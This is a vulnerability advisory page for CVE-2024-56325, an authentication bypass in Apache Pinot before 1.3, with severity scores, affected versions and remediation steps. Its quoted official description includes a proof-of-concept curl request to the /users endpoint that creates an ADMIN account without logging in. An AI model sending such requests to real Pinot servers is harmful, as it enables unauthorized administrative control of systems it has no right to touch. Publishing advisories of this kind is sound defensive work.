Apache Pinot: Authentication Bypass Using an Alternate Path or Channel
CVE-2024-56325 is a critical-severity authentication bypass using an alternate path or channel vulnerability in Apache Pinot from Apache, with a CVSS 3.1 base score of 9.8 out of 10. It can be exploited remotely over the network by an unauthenticated attacker, without any action from a user. The record lists version 1.3 as the first without the flaw, so updating Apache Pinot to that release or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 80.2% chance of exploitation within 30 days, which is in the top 0.38% of all scored CVEs.
Exploitation in the next 30 days is more likely than not, according to EPSS.
What to do
- Update Apache Pinot to 1.3 or a later version.
- Update Pinot to 1.3.0 or a later version.
- Read the advisory on lists.apache.org for workarounds and exact fixed builds.
- Until you can update, restrict network access to the affected service so it is not reachable from untrusted networks.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Apache | Apache Pinot | before 1.3 | 1.3 |
| Apache | Pinot | before 1.3.0 | 1.3.0 |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- NetworkCan be exploited remotely over a network, including the internet.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- NoneNo account or login is needed.
- User interaction
- NoneNo action by a victim is required.
- Scope
- UnchangedImpact stays within the vulnerable component.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- HighThe component can be taken down completely.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Scored by CISA (ADP).
Official description
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Authentication Bypass Using an Alternate Path or Channel
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
How developers prevent this class of flaw
- Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
More Authentication Bypass Using an Alternate Path or Channel vulnerabilities (CWE-288)
Timeline
- CVE record published.
- CISA published its SSVC assessment (exploitation: none, automatable: yes, technical impact: total).
- Record last changed materially (score, affected products, status or references).
References
Advisories
Third-party and government advisories
- openwall.com/lists/oss-security/2025/03/27/8Mailing List, Third Party Advisory
Other vulnerabilities in Apache Pinot
- 7.5 High severity
- 9.8 Critical severity
- 7.5 High severity
Recent Authentication Bypass Using an Alternate Path or Channel vulnerabilities
- 9.8 Critical severity
- 8.8 High severity
- 7.6 High severity
- 8.1 High severity
- 7.8 High severity
- 9.8 Critical severity
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